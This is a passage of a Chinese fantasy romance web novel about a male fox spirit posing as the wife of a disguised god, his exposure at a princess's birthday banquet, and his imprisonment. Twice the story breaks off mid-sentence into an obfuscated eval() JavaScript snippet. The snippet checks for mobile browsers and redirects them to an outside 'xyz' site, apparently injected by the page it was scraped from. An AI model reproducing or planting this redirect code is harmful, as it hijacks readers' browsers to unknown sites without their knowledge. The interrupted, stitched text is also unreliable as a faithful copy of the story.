“正是九重天上的二公主。”司命眉头紧锁,“你又不是不知,她与龙霖上神素有交情,天帝早有意撮合。此番历劫的命数,可是上神亲自过目的,静竹公主也答应与上神共历情劫,我才将他们红线相系......怎会凭空多出个凡间女子?” “乱了,全乱了!”司命抬头看向,"不是让司晨上神在旁盯着的吗?” 司晨讪讪地合起折扇:“我不过......不过是耽误了一会。。” 玉扇柄在掌心敲出焦躁的节奏。 “现在可还有补救的法子?” 天上一日,地上一年。司晨不过是在南天门与人多下了盘棋,原想着龙霖周遭自有百妖忌惮,不过他向来身强命硬,寻常妖族近不了他的身,应当出不了什么岔子。 谁曾想,就这么一会儿功夫,凡间竟已快到了开花结果的地步。 司命急得直抖手中命簿:“按命数,龙霖上神本该在今日琼林宴上与静竹公主一见倾心。” 纸哗啦啦翻动。 “然后二人志趣相投,私定终身。可不久北燕来犯,宁国势弱,静竹公主为保恋人平安,只得含泪踏上和亲之路……此后龙霖上神该当终身不娶,独守相思直至白头。” 司晨玉骨扇抵着下巴:“今日不就是琼林宴?你们这命薄……可曾出过错?” 司命闻言一怔,迟疑道:“这……倒确实从未有过……” 司晨摇着扇子不以为然:“哪能事事都按命簿来?” 司命皱眉:“但命簿毕竟是上古神器,大方向总不会错……” “这不就得了?”司晨合上扇子,瞥了眼床榻方向,“那龙霖八成已经和静竹看对眼了,只可惜这小娘子,素来端雅方正的龙霖上神,做了凡人要当一回那薄情抛妻的陈世美了。” 话里满是调侃。 司命没接话,两人低声商量几句便离开了。 屋里重归寂静,白亦这才发现手里的帕子已经被自己攥得皱巴巴的。他看着龙霖醉红的脸,心里一阵发苦——原来今天他这么高兴,不仅是因为高中,也是因为遇见了命定的情缘吗? 6.丹青 龙霖仕途明朗,也变得越来越忙。 白亦几乎不怎么出门,那司晨在龙霖居住的地方都设下大阵,本意是防止其他妖族靠近,白亦不知自己进出会有何影响,便一直不敢妄动。 他日日脑海里都是那日司命和司晨的话。 “上神不与命定情缘静竹公主经历一番痛彻心扉的情爱,怎么归位?” “那这个凡人该如何?” “上神若对他无情也就罢了,若是有情……难道还会为了一个凡人毁掉万年修行大道。” 京城里都在传,新科状元龙霖家里藏着个见不得人的丑媳妇。 贵妇们的茶会请帖送了一沓又一沓,可那状元夫人连个影儿都没露过。市井间越传越离谱,有人说那媳妇根本就是龙霖编出来挡桃花的幌子。 皇帝赏的宅子越来越热闹,来递交拜帖的人络绎不绝。白亦站在廊下,他哪懂什么迎来送往的规矩?多亏李婆婆在旁边提点,才没闹出大笑话。 等回过神,才发现已经一个多月没和龙霖好好说话了。 自从那晚龙霖喝醉后,白亦就没给过他好脸色。 现在倒好,那人天天早出晚归,白亦望着他白日匆匆离去的背影,心里像堵了块石头,最近这人间夫妻的日子,过得比山里的修行还冷清。 龙霖其实早就察觉到白亦的异样。那日酒醒后,看着床榻上凌乱的痕迹和白亦背对着他失落的身影,他以为是自己酒后失态惹得对方不快。 搂着人问了两句,可白亦始终沉默,让他摸不透其中缘由。初升的公务堆积如山,每日早出晚归,连开口询问的机会都寻不到。 那些哄人的话在喉间滚了又滚,最终只能被搁置。 今日难得回来得早,夕阳的余晖还未散尽,龙霖便带着宋则踏进了府门。 宋则一进门就笑着称赞,说这府里处处整洁有序,连回廊下的花木都修剪得恰到好处。 “不像我那儿,”他半真半假地抱怨,“一个人住着,连杯热茶都得自己动手。” 龙霖闻言看向站在廊下的白亦,那人正伸手摘海棠花,细碎的光斑落在他发间,像撒了一把碎金。 可当白亦抬眼时,那目光却轻飘飘地从龙霖肩头掠过。 很快白亦走过来,嘴角扬起一抹浅笑,对宋则温声道:“宋大哥今晚留下来用膳吧。” 那笑意原本如同春日枝头初绽的花,却在瞥见龙霖的瞬间凋零殆尽,白亦往厨房走去:“我去让厨子添几道菜。” 龙霖眼中的光亮暗了下去,目光黏在白亦远去的背影上,有些像被遗弃的小犬。宋则用手肘碰了碰他,压低声音:“你这是把弟妹得罪狠了啊?” “我若知道缘由还叫你来做什么……”龙霖苦笑,“这一个月来,他连正眼都不愿瞧我。” 宋则听到一月,不由地想起那夜自己在白亦面前漏了嘴,心想不会是他多嘴导致的吧,一定不是吧。 宋则:“那你陪着你出去走走说开了不就好了吗?” 龙霖说最近忙。 宋则又说让白亦自己一个人出去:“女人嘛,出去买买东西,跟好友聊聊天,心情就好了。” 白亦:“我们初来京中哪有什么好友,再说他不出去也好。” 他不想让更多人把目光放在白亦身上。 宋则看着龙霖,他样子不像在说假话。 膳桌上,白亦还未执箸,龙霖便夹了块芙蓉鸡片放入他碗中,一副等着夸奖的模样看着他。白亦却恍若未见,转而将一筷清炒时蔬放入宋则碗里:“宋大哥,尝尝这个,这是今日刚摘下来的。” 龙霖的筷子悬在半空,目光死死钉在宋则碗里那片翠绿的菜叶上。 宋则被盯得背脊发凉,连忙打圆场:“来来来,你也吃……” 宋则给龙霖夹菜夹到半空,在龙霖抗拒的眼神下又放回自己碗里,尴尬一笑:“我自己吃,自己吃。” 话音未落,就见龙霖往自己碗里也夹了菜,白亦垂眸抿了口汤。 龙霖吃一口就盯一下人,可惜白亦全程都专注吃饭,没分给他一个眼神,让宋则觉得对面的龙霖无形的耳朵都快耷拉下去了,表情中也有些委屈和不解,跟外人眼里持重的龙霖完全就是两个模样。 饭后,白亦又泡了茶。 宋则抿了口茶,状似无意地提起:“嫂子,过几日静竹公主设宴庆寿,你要同龙霖一道去吗?” 白亦垂着眼睫,手指无意识地摩挲着茶盏边缘。 见他不语,宋则又笑道:“外头传得可难听了,都说龙霖压根没成亲,要么就是……说嫂子你相貌丑陋,羞于见人。" 白亦猛地抬头,眼睛瞪得圆圆的,手指着自己鼻尖,不可置信地开口说:“我丑?” 龙霖:“自然不是,那些人胡言乱语,传着传着倒像真的一样。” 宋则心想龙霖啊,龙霖,我这可是帮你躲那些烂桃花,于是趁热打铁:“只要嫂子你露个面,那些谣言就不攻自破了。你是不知道,多少大人盯着龙霖想做女婿呢。” 龙霖:“别胡说。” 白亦半晌才轻声道:“好吧,我去。” 自从司命和司晨发现了白亦这个意外变数,他们在凡间逗留的日子便渐渐多了起来。 两位仙君仗着凡人听不见仙音,整日飘在白亦身侧,将九重天上的秘闻八卦说了个遍。 什么天帝又瞧上了北海哪位散仙的姿色,月老醉酒牵错了哪位神君的姻缘线,龙霖仙君万年来身边从未有过女侍...... 白亦这才知道,原来那些高高在上的神仙们,也逃不开这些红尘琐事,只是抛开得比凡人洒脱。 司命说起八卦时眉飞色舞,司晨插嘴补充时的喋喋不休,活像市井间最爱说长道短的凡人。 起初白亦还能装作充耳不闻,任他们在耳边絮絮叨叨。 可时日一长,这两位仙君竟变本加厉,连西王母养的仙鹤下了几个蛋都要说上半天,可见在天庭生活是有多么无聊。 白亦险些就要脱口而出让他们闭嘴。 硬生生忍住了。 静竹公主的生辰一日日近了。 白亦坐在妆台前,铜镜里映出一张明艳的脸。 他本就生得极好,在狐族时便是出了名的美人。此刻薄施脂粉,更显得眉眼如画,唇若点朱。他指尖轻轻划过镜面,他忽然嗤笑一声:“居然说我丑。” 房门吱呀一声被推开。 白亦从镜中看见龙霖的身影,不由蹙起眉头。那人却径直走到跟前。 “还在生我的气?”龙霖的声音放得很轻。 白亦别过脸:“没有。” 龙霖忽然蹲下身来,仰头望着他。这个角度让白亦不得不对上他的眼睛——那里面盛着小心。温热的手掌覆上来,龙霖握着他的手,指腹在他腕间轻轻摩挲:“都是我不好,别气了,也别……不理我。” 妆台上的烛火跳了一下,将两人的影子投在墙上,交叠在一处。 白亦看着龙霖失落又认真认错的模样,呆呆地看了龙霖好一会,才低声道:“你知道我在生什么气吗?” “……不知道。” 白亦没说话,他觉得自己问得有些多余,龙霖现在仅仅是个凡人而已,他怎么可能他的顾虑,他苦笑道:“那你胡乱认什么错?” “你之前问我是不是一点都不在意你,不喜欢你,我想了很久,我只是不想对你发脾气而已,我是喜欢你的,我们是夫妻,所以我信你。” 白亦听到这句喜欢脸上却没有什么喜色,而是隐隐有几分挣扎。 听到龙霖说喜欢他,他竟然有想要应答回去的想法。 明明知道他们根本没有任何结果的。 作为凡人的龙霖也有自己命定情缘,他费尽心机地留在龙霖身边,原以为能够近水楼台先得月,却没想到会成了他归位的最大阻碍。 如此他也是得不到逆鳞。 龙霖:“娘子,你原谅我了吗?” 白亦实在是个很好哄的人,他说:“该说抱歉的应该是我。” 龙霖起身将白亦搂在怀里:“我不会怪你的,你在我这里至少永远是对的。” 他有时候木讷得说不出什么情话,可是认真的时候却让人觉得固执又可爱,说出的话却比一些情话还要动听。 白亦的脸贴着龙霖的肚子上,喃喃道:“那就算我对你说了谎,你也不会怪我吗?” 龙霖的声音很轻,却字字清晰:“……你不想说的事可以不说,但不要骗我,好不好?” 白亦抿着唇,没答。 龙霖看着他,语气缓了些:“我们是夫妻,你若是遇到难处,大可以告诉我。” 白亦终于低低地应了一声:“……好。” 龙霖神色松动了些,又问:“那我今晚可以和你一起睡吗?” 这些天他一直睡书房,白亦心里憋着气,故意不理他,可他自己也说不清到底在较什么劲。 “李婆婆说这宅子太冷清了,等我们有孩子之后就热闹了。” 白亦闻言身体微微一僵。 他可是只公狐狸,怎么能生得出孩子。 第二日白亦懒洋洋地趴在软榻上,像只猫儿般不愿动弹。李婆婆絮絮叨叨地说着要为公主准备寿礼的事,他却连眼皮都懒得抬一下。 不远处,司命和司晨两位仙君正低声交谈。司命手中的玉简轻轻敲着掌心,语气里带着几分困惑:“龙霖这位小娘子,怎么整日不是躺着就是趴着?莫不是身子有什么不妥?” 司晨闻言轻笑:“哪是什么隐疾,分明是懒,大门不出二门不迈,连个来往的朋友都没有。说来也怪,龙霖君往日最是瞧不上这等懒散之人,如今却将这么个姑娘当宝贝似的供着。” 白亦:“…………” 白亦朝真的想让这两个神仙闭嘴了。 等到静竹公主生辰那日,白亦是第一次跟着龙霖去了这样的宴会。 龙霖牵着他下了马车,宴席没开始之前,女眷们都聚在一起,龙霖将白亦安置在了后花园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448294|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人们喝茶的地方。 几位正在品茶的夫人不约而同地放下茶杯,目光齐刷刷地落在白亦身上。那位向来眼高于顶的尚书夫人手中的团扇都停了。 她见过不少美人,却从未见过这样干净剔透的相貌——白亦站在阳光下,整个人像是用最上等的白玉雕出来的,连发梢都泛着莹润的光。 旁边的几位年轻小姐更是看直了眼。有个胆大的甚至悄悄往前挪了挪身子,想要看得更清楚些。白亦被这么多双眼睛盯着,不自在地往龙霖身后躲了躲。 “龙大人好福气啊。”最先回过神来的将军夫人笑着打破沉默,其他夫人们这才如梦初醒,纷纷附和,但眼睛还是忍不住往白亦身上瞟。 在他们进来的时候,在场人皆露出了惊艳的神情。 龙霖将白亦托付性格爽朗的将军夫人照看他夫人,离开的时候在白亦耳边说,我待会过来接你。 白亦在龙霖离开的时候也想站起身想往外走,那名夫人主动将白亦拉到了身边。 就听她说:“听说你姓白,跟状元郎已经成亲了一年有余了,之前龙大人同我说他已经娶妻,夫人漂亮又贤惠,我还不相信,如今见了龙夫人,当真是漂亮,和龙大人站在一起真是般配啊。” 白亦想起龙霖之前告诉他,若是不想说话就只笑就好。 白亦微微一笑。 “前者日子听说不少人往状元府送了拜帖,都请不来龙夫人。” 白亦想起李嬷嬷教他的说辞,假意咳嗽几下:“各位夫人见谅,我身子一向都不大好,所以实在是有心无力。” 大家纷纷露出理解的神情来。 “难怪呢?龙大人一定格外珍惜你才是,早早地嘱咐我们必定要照顾你,他说你胆子小认生。” 白亦坐在女眷堆里听着她们后宅的琐事,全程只保持友好的微笑,等到宴会要开始的时候,白亦跟着那些夫人去往宴会场地。 没过多久,远处回廊传来一阵骚动。女眷们纷纷起身,只见一位姿容出众的女子在侍女簇拥下款款而来。将军夫人低声告诉白亦,那就是静竹公主。白亦抬眼望去,心头泛起一丝难以名状的滋味。 白亦的耳力极好,隔着雕花木墙,角落里窸窸窣窣的议论声清晰可闻。 “公主自幼博览群书,听说与龙大人甚是投契。前些日子还偷偷混进琼林宴,就为见龙大人一面呢。” 这话让白亦想起司命曾说过,静竹公主对龙霖一见倾心。 此刻听着远处传来的谈笑声,你来我往,言语间尽是诗词典故。白亦低头看着自己的指尖,想起自己连字都认不得几个。 “今日公主寿辰,龙大人送的那幅丹青,公主爱不释手,特意命人好生收着了。”那声音顿了顿,“若不是龙大人已经娶妻,说不定陛下早就将公主许配给他了。” 龙霖曾说过会准备公主的生辰贺礼,白亦便由着他去张罗,却没想到他竟会亲自提笔作画相赠。 白亦比谁都清楚,龙霖从不轻易将自己的墨宝赠人,若真送了,那便是真心欣赏对方。 “听闻今日龙大人的夫人也来了?我倒要瞧瞧是何等人物。” “听说就是个乡野村妇,我也未曾见过。” 白亦站在原地,狐狸敏锐的听觉将远处的闲言碎语一字不漏地送入耳中。他垂在身侧的手不自觉地凝起一缕妖气,指尖微微发颤。正当他出神之际,一只温暖的手突然覆了上来,将他紧握的拳头轻轻包裹,让他指尖凝聚的妖气瞬间消散。 龙霖不知道什么时候来到了他身边。 “你怎么自己过来了,不是我过去接你吗?手有些凉。” 刚才还在说话的几人停住了,往这边张望,然后掩面又窃窃私语起来。 宴会正式开始后,白亦坐在龙霖身侧,能清晰地感受到四面八方投来的探究目光。 在众多宾客中,他瞥见了那日街头偶遇的两名男子,对方显然也认出了他,眼神交汇的瞬间闪过一丝诧异,白亦立即移开了视线。 满座皆是达官显贵,而他们的席位却被安排在最为显眼的上首。 白亦的目光不自觉地游移到龙霖与静竹公主之间,胸口像是压了块石头,闷得发疼。 既是命定情缘,会不会……龙霖其实早已对静竹动了心?若非碍于先娶了自己,或许早就……这个念头像根刺,扎得他指尖发凉。 否则,为何他要赠她亲手所绘的丹青?那是连他都未曾得到过的珍重。 “你也给我画一幅丹青。”白亦突然扯了扯龙霖的衣袖,声音轻得几乎听不见。 龙霖正为他布菜的手顿了顿,眉梢微扬,似是有些诧异。随后夹了块糖醋排骨放入他碗中,温声道:“你若也想要礼物,我改日带你去挑首饰,可好?” 白亦盯着碗中那块裹着酱汁的排骨,喉头发紧。 他也不是很喜欢那些珠翠首饰,毕竟他是个男子,只是因为那是龙霖送的,才会日日佩戴。却不想在龙霖眼中,自己竟是个只爱这些俗物的肤浅之人。 7.暴露 白亦活过的年头,足够凡间王朝更迭好几次,可人间那些弯弯绕绕的礼数,他始终没琢磨明白——比如赠送丹青这事儿,不过是在纸上涂几笔墨,值得这般郑重其事? 龙霖的手描摹过烟雨的烟波,勾勒过冬日雪色,甚至给路边的一枝梅铺陈纸张过。 但他就知道龙霖从未将丹青给送过他。 可龙霖那么重视他的丹青,他是他的妻,这世上最亲近的人。 “当真喜欢?” 画有什么要紧? 白亦不过是想让龙霖也为他作一次画了。 他不是第一次这样想,如果他把龙霖带走藏起来,他不是什么上神,白亦也不用取他的逆鳞,该多好。 白亦听说真龙住的宫殿都是金玉堆砌的,他想把自己的狐狸洞也折腾得金光闪闪,可以从人间搜罗来鎏金的烛台、掐丝的屏风,连洞顶都嵌满了夜明珠。 可他知道,等龙霖恢复记忆那天,这些俗气的摆设根本入不了上神的眼,那人终究要回到九重天上去的。 其实就算龙霖真是个凡人又怎样? 白亦终究不是女儿身。 如今能讨来几件首饰字画,那些死物,至少那也是龙霖曾经喜欢他的证据,总好过到时候两手空空的好。 白亦说喜欢。 龙霖捏了捏他掌心,想起白亦以前有一次帮他收拾书房看着书册一脸迷惑的样子,微不可查地弯了弯唇角:“好吧,你生辰的时候我也送给你一幅。” 白亦:“也要首饰。” “好。” 宴会散场时,几位大人拦住了龙霖,说有要事相商。静竹公主适时上前,笑意盈盈地邀白亦去赏花。 龙霖捏了捏白亦的手,说去去就回,又对公主客套道:“麻烦公主照看一下我娘子。” 白亦虽然不太情愿,但是龙霖此刻在忙,他抿着唇跟公主往梅林深处走。 风还带着寒意,吹得他袖中的手微微发凉。 行至一处僻静回廊,静竹突然抬手屏退左右。待最后一名侍女的身影消失在转角,公主转身时眼中的笑意已荡然无存。 她转头看着白亦的时候眼神已经变得微冷,她指尖凝聚起一点寒芒:“一只化形百年的低贱男狐,也敢留在上神身边。” 白亦瞳孔骤缩,后退半步就要离开。 刚转身,后背突然袭来剧痛。他整个人被灵力掀飞出去,重重撞在廊柱上。 喉间涌上腥甜,白亦撑着剑勉强支起身子,面色苍白地抚住胸口,抬头时睫毛都在颤。静竹的裙摆绣着银线暗纹映入眼帘。 白亦喉间涌上一股腥甜,指节因用力而发白:“你怎会发现我的?” 静竹居高临下地看着他,眉眼如霜:“你觉得就凭那颗遮掩妖气的破珠子就能护你周全吗?” “我起初还以为你是什么千年大妖,原来不过是个百年的小玩意儿,我生来是仙胎,天女生来便识万物本源。” 剑刃在地上划出刺耳声响,白亦撑着站起身,唇边血迹蜿蜒,他知道以这些神仙对妖物的厌恶程度,今天自己可能毙命于此,可他不能死:“你杀了我......龙霖不会放过你。" 静竹轻轻摇头,发间步摇纹丝不动:“你以为自己算什么东西?等上神归位那日,说不定还要谢我替他清理门户。” “龙霖渡劫,事关三界,我杀了你,龙霖归位后还可能会感激我除了你这么一个居心叵测靠近他的妖物,说不定他还会后悔没有亲手杀了你。” 最后几个字裹着凛冽杀意。 白亦被说得无地自容,整个人一抖:“我……” 下一刻静竹掐住他的脖子,白亦被她掐得呼吸一窒,喉骨发出不堪重负的轻响。 静竹的仙力在他经脉里粗暴地游走,像刀刮过血肉,疼得眼前发黑。 “难怪这么弱,你的内丹呢?”静竹突然松开手,眉头微蹙,疑惑道。 白亦踉跄着扶住廊柱,咳得眼眶发红,坚持不住跌倒在地:“在……龙霖那里……” 这一路上多少妖物盯着龙霖的仙身,白亦早把自己那颗温养百年的内丹渡在了他体内。所以那天在密林和那蜘蛛精一战,他连原型都快维持不住。 静竹的表情突然变得古怪:“你把自己的命给了他?” 内丹对于白亦来说,那就是他百年的功力所在,若是内丹被毁,相当于被打回原形,多年努力毁于一旦。 ——百年道行,说给就给了? 这是白亦自己想出的法子,城中觊觎龙霖的妖物不少,他可以选择躲在家里,可龙霖不能,他的修为虽然不算高,但至少能镇住些宵小妖物。 司晨星君和司命星君确实在暗中护着龙霖,可白亦也想用自己的方式守着他——哪怕这方式蠢得要命。 静竹突然蹲下身,裙摆铺在地上:“你喜欢他?” 她问得直白,眼里带着几分探究。 白亦张了张嘴。 “果然是下界生灵,“果然这世间唯有凡人和你们这些低贱的妖物才会耽于这些世俗的情情爱爱。” “他也喜欢我的。”白亦突然抬头。 静竹的眼神无悲无喜:“喜欢?是什么?我今日不杀你,是看在你不曾伤害过龙霖的份上,若是你识相就离开,识相不挡了龙霖的仙道,还可以保住这几百年的道行。” “你难道不知道龙霖修的是无情道,大道无情,他选的是灭情绝爱,你凭什么说他喜欢你?” 白亦手指深深抠进青石板缝:“如果他真的灭情绝爱,那为何要与你渡情劫?” “凭月下仙人的红绳,司命的命簿,我们便是命定,你只是个变数,龙霖总有一天会喜欢上我的,找个时机,自己消失吧,否则……” 静竹指尖的寒芒擦过白亦耳际,带起一阵刺骨的凉意,白亦以为她会扫断自己的脖子,可是却几缕断发飘落在地。 她又反手掐了个诀,白亦身上染血的衣袍瞬间恢复如新,连袖口的褶皱都被抚平。 “我不知道你从哪里得知了情劫二字,管好你的嘴,若是有半个字进他耳朵里,我会让你灰飞烟灭。” 静竹消失在回廊尽头。 白亦浑身发冷,握剑的手突然脱力,剑刃砸在青石板上发出刺耳的声响。 他茫然地望着地上的断发。 回府的马车里,龙霖伸手将人揽进怀里:“怎么在发抖?” 他掌心温热,正好贴在白亦冰凉的后颈。 白亦额头沁着冷汗,手指死死攥着龙霖的衣襟。没了内丹镇压,体内乱窜的妖气疼得他眼前发黑,只能蜷在龙霖怀里小口喘气。 龙霖身上熟悉的檀香混着血腥味往鼻子里钻,他忽然想起静竹那句“灭情绝爱”,喉间顿时又涌上一股腥甜。 “......我没事的。” 白亦的声音虚弱得几乎听不见,整个人在龙霖怀里不住地发颤。龙霖立即掀开车帘,声音里带着少有的慌乱:“去最近的医馆!” “不要......”白亦突然抓住他的衣襟,指尖都在发抖,“回家......求你了龙霖,我们回家......” 他额头抵在龙霖胸口,冷汗已经浸透了里衣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485802|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙霖下颌绷紧,最终将人往怀里搂得更紧了些:“......好,先回府。” 马车刚停稳,白亦就彻底软倒在龙霖臂弯里。龙霖抱着人疾步穿过回廊,踢开房门时将身后嬷嬷的惊呼都抛在脑后。 他小心翼翼地把人放在床榻上,一边让人去请大夫,一边用帕子擦拭白亦额头的冷汗。 “别怕,我在这儿。”龙霖将人半抱在怀里,掌心贴着白亦冰凉的后背。 白亦突然在他怀中剧烈颤抖起来,双瞳透出几分异光,脖颈处隐约浮现出雪白的狐毛,十指指甲以肉眼可见的速度变得尖利。 他死死咬着下唇,鲜血顺着嘴角滑落——失去内丹的妖身在渴望本源,那些被压抑的妖气正在血脉里横冲直撞。 白亦在渴望在龙霖体内自己的内丹。 龙霖刚用被子将白亦裹紧,嘴里还哄着“大夫马上就到,没事的”,突然一阵天旋地转——后背重重撞上墙壁的瞬间,他惊愕地对上一双猩红的眼睛。 白亦不知哪来的力气,竟将他死死按在墙上。原本散落的黑发不知何时长至腰际,发尾泛着诡异的银光,一直往上,五官也变得更妖冶艳丽,骇人的是那条从衣摆下探出的雪白长尾,正危险地缠上龙霖的腰。 “白亦……你……” 龙霖看着眼前这张既熟悉又陌生的脸,整个人都仿佛僵硬。 白亦眼尾拖出妖异的红痕,唇色却惨白如纸。掐着龙霖脖颈的手指已经现出尖利的爪尖,正微微陷入皮肉。 白亦猛地凑近龙霖的唇边,像精怪要吸食什么,鼻尖几乎相触时,一道刺目金光突然从门外袭来,重重击在他后背上。 木门轰然洞开,司晨手持法诀冲了进来,衣袍翻飞间带起一阵凛冽罡风。 “孽畜!”司晨厉喝一声,金光未散,“胆敢在此作乱!” 白亦被这一击打得滚落在地,咳出大口鲜血。妖异的红瞳渐渐褪去,露出原本清亮的眸子。 龙霖踉跄着后退两步,看着地上半人半狐的身影,声音发颤:“你……你到底是谁?我娘子呢?” “你还看不明白?”司晨一把拽住过龙霖,手中法器直指白亦,“你这位''娘子'',根本就是个男狐妖!在你身边别有目的!这世上根本就不存在跟你有婚姻的白小姐。” 说完司晨还冷笑一声:“专门吸人精气的下作东西。” 龙霖脸色瞬间惨白,像是突然遭受了一种莫大的打击。 白亦瘫在血泊里,白衣浸得猩红,散乱的长发黏在脸颊。他艰难地撑起身子,颤抖着想朝龙霖伸出手,眼泪混着血水滴落——他想说自己想要的是其实自己的内丹,自己也从未害人,想道歉,抱歉一直骗着他,可一张口就涌出更多鲜血,于是喉间只能发出破碎的气音。 “……原来一直都在骗我,原来你是狐狸精变的。” 龙霖的声音像刀子般扎进白亦心里。 白亦摇头,染血的指尖在青砖上抓出几道痕迹,可满室狼藉和那条尚未收回的狐尾,让任何辩解都显得苍白无力。 司晨手中金光再起,正要落下时,龙霖突然一个箭步挡在了白亦身前。 刺目的光芒在距他面门寸许处硬生生刹住。 “你疯了?!”司晨气得指尖发抖,“为个妖物连命都不要了?你护着他做什么!” 龙霖张开双臂将白亦严严实实护在身后,眼底烧着骇人的怒意,他每个字都咬得极重:“滚出去!不管你们是谁!滚出我家!我不管你们是什么道士还是修士,这都是我的家事,不需要旁人来插手也轮不到你们在这儿喊打喊杀!” 8.锁妖 司晨的手悬在半空。 他看着挡在狐妖面前的龙霖,明明如今只是个凡人,却敢挡在他面前。 那凌厉的眼神和不容置疑的语气,硬是让他想起九重天上那位令人敬畏的上神。手中的法诀明明已经凝聚成形,却怎么也不敢真正落下。 “他可是妖!”司晨从牙缝里挤出这几个字。 龙霖半步不退,反而将身后蜷缩的白亦挡得更严实:“关你什么事,他要吸也是吸我的精气!轮得到你来管?” 司晨气得指尖发抖,金光闪烁的法诀在掌心:啪”地一声碎成光点。他狠狠甩袖转身,衣袍带起一阵劲风:“管你去死!” 这话说得咬牙切齿,却终究没敢再动手。 房门合上的瞬间,白亦强撑着抬起眼皮。 龙霖正低头看他,那居高临下的眼神冷得像淬了冰,恍惚间与九重天上那位尊贵不可亵渎的上神重叠在一起。 白亦染血的指尖颤了颤,想要抓住那片近在咫尺的衣角,却在半空中突然脱力。 黑暗如潮水般涌,白亦再也坚持不住昏死过去。 司晨在廊下回头,透过未关严的窗缝看见龙霖将那奄奄一息的狐妖整个搂进怀里,手指拨开黏在狐妖脸上的血发,动作轻得不可思议。他低头时,下巴抵着那人的脑袋,不知道在想什么。 司晨神情复杂,喃喃道:“这下真坏了。” 半个月过去,白亦的尾巴还是收不回去。 他抱着那条蓬松的白尾蜷在床角,耳朵不安地抖动着。 被褥上会沾几缕脱落的绒毛,每次翻身都会带起细小的浮毛。 内丹离体的时间太久,白亦的丹田处空荡荡的疼,连指尖都开始泛起不正常的淡粉色——这是要彻底兽化的征兆。 白亦本以为这次必死无疑,或者被法器镇了,不想醒来却在这间陌生的小院。 每日辰时,门外会准时响起食盒落地的轻响,却从不见人影。前几日他还能勉强维持人形,今早照铜镜时,却发现瞳孔已经变成了兽类的竖瞳。 要是再不取回内丹他就要彻底变回一只白狐了。 他没见过龙霖,也知道自己这个模样若是被人见了后果不堪设想。 白亦每天趴在门缝边上等,先把前一天的餐盘送出去,直到送饭人的脚步声彻底消失,才敢把门推开一条缝,迅速将食盒拽进来。 那个缝大概也是为了防着白亦出去,堪堪只有盒子大小。 白亦的指甲已经开始变尖,抓挠木门时会留下几道浅浅的痕迹。 整个院子被下了禁制,他试过所有角落,东墙的桃树下埋着镇妖符,西角的井口贴着封魔咒,连屋檐都挂着铜铃阵。 这分明是间锁妖牢笼。 这天他裹着厚重的披风,把毛茸茸的耳朵压得生疼。 送饭的小厮刚放下食盒,他就扒着门框急声道:“别走,我想见龙霖……” 话音未落,那小厮就像见了鬼似的,丢下一句“大人让您好好反省”,头也不回地跑了。 白亦被拒绝了,连尾巴上的毛都耷拉下来。 白亦失望抱着食盒正要转身,忽然听见树梢传来一声轻笑。 他抬头望去,怀曼一袭红衣斜倚在高处的树枝上,靴尖轻点着颤动的叶片——那位置正好在结界边缘,进不得。 两只妖遥遥相对。 “哟,狐狸精,”怀曼指尖绕着缕发丝,眯眼打量他耷拉着的耳朵,“几日不见,怎么混得这么惨?连人形都维持不住了?” 白亦深吸了口气,望向怀曼仰着头,指甲抠进食盒的竹篾里:“龙霖都知道了......他知道我是妖,还是个男的……” 怀曼嗤笑一声,指尖点了点结界泛起的金光:“所以他找道士把你打成这样的?” 白亦把尾巴往披风里藏了藏,耳尖不自觉地抖了两下:“我内丹......出了点状况。” 声音越说越低,他实在不好意思承认是自己亲手把百年道行送了出去。 “锁妖阵都搬出来了,”怀曼突然踹了脚树干,惊起几只麻雀,“听说状元郎对外称夫人重病卧床,原来是把你这''夫人''当妖怪关起来了,不过你把人骗成那样,怪不得他找人把你关在此处,避你如蛇蝎,这可是锁妖阵,用来镇千年大妖都绰绰有余了。” “这男人果然一个都靠不住,我还当他是真的喜欢你。” 白亦张了张嘴接不上话,只能有些落寞地坐在台阶上。 怀曼看着台阶上蔫头耷脑的白亦,突然觉得牙疼。 她和这狐狸精斗了百八十年,什么难听话没说过,可眼下这副模样实在让人看不下去。 “啧,狐狸精,老娘这次当回善人吧,就当还狐狸精你上次帮我把黑熊精打跑的人情,我虽然解不开这阵法,不过我给你想想办法吧。” 白亦耳朵动了动说:“......谢谢。” 结果这一等就是三天。 白亦尝试了一下用剑打开,剑锋刚触到结界就炸开一串火花,反震的力道直接把他掀了个跟头。等他晕头转向爬起来时,地上散落的衣衫里钻出只雪团子似的白狐,他连最后那点人形都维持不住了。 小狐狸呆愣愣地看着自己毛茸茸的前爪,试图用后腿站起来,结果被过长的尾巴绊了个趔趄。 最后干脆自暴自弃地摊成一张狐饼,尖鼻子埋进前爪里,连耳朵都耷拉成了平角。 晚上有人送饭的时候,不见上一餐的食盒,有些奇怪,却也放下食盒就离开,连着两日,送饭的小厮发现食盒原封不动地搁在台阶上,便有些慌了,跌跌撞撞跑去禀报主子。 白亦正蜷在窗台下打盹, 尖耳朵突然抖了抖——院门“吱呀”一声被推开,脚步声由远及近。他本能地警惕,却在没走几步一头撞上了玄色锦靴,滚了两圈才稳住身子。 抬头就对上一双冷冽的眼睛。 龙霖垂眸看他,白亦浑身的毛瞬间炸开,却僵在原地不敢动弹。 “大人!”方才搜查的仆从气喘吁吁跑来,“里外都找遍了,半个人影都没有......” 